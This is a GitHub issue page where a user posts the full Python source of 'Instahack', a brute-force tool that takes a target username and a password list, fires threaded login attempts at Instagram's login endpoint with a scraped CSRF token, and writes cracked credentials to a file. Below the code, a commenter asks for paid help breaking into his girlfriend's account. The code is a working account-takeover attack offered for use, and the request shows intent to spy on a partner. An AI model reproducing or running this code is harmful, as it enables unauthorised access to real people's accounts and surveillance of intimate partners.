Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix at line 69 #11

Open
0xbitx opened this issue Dec 12, 2023 · 2 comments
Open

fix at line 69 #11

0xbitx opened this issue Dec 12, 2023 · 2 comments

Comments

@0xbitx
Copy link

0xbitx commented Dec 12, 2023

from future import absolute_import
from future import print_function
import requests, sys, threading, time, os, random
from random import randint
from six.moves import input
CheckVersion = str(sys.version)
import re
from datetime import datetime

print('''

Author : AyipBontos
Website : https://termux.id
Support : Visit my website to help me

Instahack is a tool for hacking Instagram accounts with bruteforce techniques.
For its use, check the link below:
https://termux.id/hack-instagram-termux

      good luck (+_+)

       
       """""""""""""""""""""""""""""""""""""""""" 

''')

class InstaBrute(object):
def init(self):

    try:
        user = input('username : ')
        Combo = input('passList : ')
        print('\n----------------------------')
      
    except:
        print(' The tool was arrested exit ')
        sys.exit()


    with open(Combo, 'r') as x:
        Combolist = x.read().splitlines()
    thread = []
    self.Coutprox = 0
    for combo in Combolist:
        password = combo.split(':')[0]
        t = threading.Thread(target=self.New_Br, args=(user, password))
        t.start()
        thread.append(t)
        time.sleep(0.9)
    for j in thread:
        j.join()

def cls(self):
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])

def New_Br(self,user,pwd):
    link = 'https://www.instagram.com/accounts/login/'
    login_url = 'https://www.instagram.com/accounts/login/ajax/'

    time = int(datetime.now().timestamp())

    payload = {
        'username': user,
        'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
        'queryParams': {},
        'optIntoOneTap': 'false'
    }

    with requests.Session() as s:
        r = s.get(link)
        csrf = re.findall(r"csrf_token\":\"(.*?)\"", r.text)[0]
        r = s.post(login_url, data=payload, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.instagram.com/accounts/login/",
            "x-csrftoken": csrf
        })
        print(f'{user}:{pwd}\n----------------------------')

        if 'authenticated": true' in r.text:
            print(('' + user + ':' + pwd + ' --> Good hack '))
            with open('good.txt', 'a') as x:
                x.write(user + ':' + pwd + '\n')
        elif 'two_factor_required' in r.text:   
            print(('' + user + ':' + pwd + ' -->  Good It has to be checked '))
            with open('results_NeedVerfiy.txt', 'a') as x:
                x.write(user + ':' + pwd + '\n')

InstaBrute()

@oshaajadeh
Copy link

can u help me to hack my gf instagram acc? about personal problem. i'll pay u

@Znation30
Copy link

Znation30 commented Mar 18, 2024 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants